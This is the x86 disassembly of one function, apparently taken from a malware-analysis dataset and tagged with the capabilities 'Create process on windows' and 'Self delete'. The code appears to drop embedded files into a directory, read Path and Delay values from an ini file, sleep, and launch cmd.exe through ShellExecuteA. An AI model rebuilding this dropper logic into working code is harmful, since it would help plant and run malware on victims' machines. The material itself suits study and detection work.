Function at 0x426fd0
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x124]
push ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
xor eax, eax
push fcn.00426f90
push ebp
push 0x4142a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x5d5670], 0
push 0
lea eax, [ebp - 0x14]
call fcn.00426c60
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 8]
mov ecx, str.DirectY
call fcn.00408ac0
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004149b0
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0xc]
call fcn.004269b0
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x427062
mov eax, dword [eax - 4]
mov dword [0x5d5604], eax
mov eax, dword [ebp - 8]
call fcn.00412fb0
mov eax, dword [ebp - 8]
mov edx, 6
call fcn.00445fd0
lea eax, [ebp - 0x18]
call fcn.00403b00
push 0xffff
mov edx, dword [ebp - 8]
mov ecx, str.php
lea eax, [ebp - 0x18]
call fcn.00408ac0
mov eax, dword [ebp - 0x18]
call fcn.00412fb0
lea eax, [ebp - 0x18]
call fcn.00403b00
push 0xffff
mov edx, dword [ebp - 8]
mov ecx, str.phpext
lea eax, [ebp - 0x18]
call fcn.00408ac0
mov eax, dword [ebp - 0x18]
call fcn.00412fb0
call fcn.0040ef70
test ax, ax
je 0x4270d8
push 1
call sub.kernel32.dll_Sleep
nop
mov dword [ebp - 4], 0xffffffff
nop
add dword [ebp - 4], 1
lea eax, [ebp - 0x14]
call fcn.00403b00
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d5600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x14]
call fcn.00408ac0
lea ebx, [ebp - 0x14]
mov eax, dword [ebx]
call fcn.00470a00
mov ecx, dword [ebp - 4]
mov ebx, dword [ecx*8 + 0x5d5604]
mov ecx, ebx
sar ecx, 0x1f
cmp edx, ecx
jne 0x427124
cmp eax, ebx
je 0x42713c
mov eax, dword [ebp - 4]
mov eax, dword [eax*8 + 0x5d5600]
mov edx, str.ini
call fcn.00409580
test eax, eax
jne 0x42716c
lea eax, [ebp - 0x18]
call fcn.00403b00
push 0xffff
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d5600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x18]
call fcn.00408ac0
mov eax, dword [ebp - 0x18]
mov dl, 1
call fcn.00445eb0
test al, al
jne 0x4271b8
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d5604]
mov eax, dword [0x5d5670]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
call fcn.004097e0
mov ebx, dword [ebp - 0x1c]
lea eax, [ebp - 0x20]
call fcn.00403b00
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d5600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x20]
call fcn.00408ac0
mov eax, dword [ebp - 0x20]
mov edx, ebx
call fcn.00426a60
mov esi, esi
cmp dword [ebp - 4], 0
jne 0x4271ca
mov dword [0x5d5670], 0x1ee200
jmp 0x4271da
mov eax, dword [ebp - 4]
mov edx, dword [eax*8 + 0x5d5604]
add dword [0x5d5670], edx
cmp dword [ebp - 4], 0xd
jl 0x4270e0
call fcn.00426d10
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004149b0
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x18]
call fcn.00409f10
mov edx, dword [ebp - 0x18]
mov ecx, 1
mov eax, str.DIRECTY
call fcn.00409890
test eax, eax
jne 0x427224
lea eax, [ebp - 0x20]
call fcn.00426e20
mov eax, dword [ebp - 0x20]
call fcn.0050dac0
mov eax, dword [ebp - 8]
call fcn.00413030
call fcn.0040ef20
push 0
mov ecx, 0x586f7c
mov edx, 1
mov eax, 0x5d2234
mov ebx, 0x5d2234
call dword [ebx + 0x68]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
lea esi, [esi]
add dword [ebp - 4], 1
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
call fcn.00403b00
push 0
push 0xff
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x124]
mov edx, 0xffffffff
call fcn.00404dd0
lea ecx, [ebp - 0x24]
xor dx, dx
lea eax, [ebp - 0x124]
call fcn.00409240
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x24]
call fcn.0040a010
mov ecx, dword [ebp - 0x24]
mov edx, 0x586f8c
lea eax, [ebp - 0x1c]
call fcn.00408ac0
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov ecx, str.Path
mov ebx, dword [ebp - 0x10]
mov ebx, dword [ebx]
call dword [ebx + 0x74]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
lea eax, [eax*8 + 0x5d5678]
call fcn.004089c0
push 0
push 0
lea eax, [ebp - 0x24]
call fcn.00403b00
push 0
push 0xff
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x124]
mov edx, 0xffffffff
call fcn.00404dd0
lea ecx, [ebp - 0x20]
xor dx, dx
lea eax, [ebp - 0x124]
call fcn.00409240
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x20]
call fcn.0040a010
mov ecx, dword [ebp - 0x20]
mov edx, 0x586f8c
lea eax, [ebp - 0x24]
call fcn.00408ac0
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov ecx, str.Delay
mov ebx, dword [ebp - 0x10]
mov ebx, dword [ebx]
call dword [ebx + 0x84]
mov edx, dword [ebp - 4]
mov dword [edx*8 + 0x5d567c], eax
mov eax, dword [ebp - 4]
push dword [eax*8 + 0x5d567c]
call sub.kernel32.dll_Sleep
push 0
push 0
lea eax, [ebp - 0x24]
call fcn.00403b00
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d5678]
mov edx, 0x586fc4
lea eax, [ebp - 0x24]
call fcn.00408ac0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42738b
mov eax, 0x5d42f0
push eax
mov eax, str.cmd.exe
push eax
mov eax, str.open
push eax
mov eax, 0x7530
call fcn.0040eea0
add eax, 0x3e8
push eax
call sub.shell32.dll_ShellExecuteA
cmp dword [ebp - 4], 5
jl 0x427258
mov eax, dword [ebp - 0x10]
call fcn.0040cf90
mov eax, dword [0x5670c0]
mov edx, dword [0x5670c0]
mov edx, dword [edx]
call dword [edx + 0xfc]
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00426f90
pop ebx
mov esp, ebp
pop ebp
ret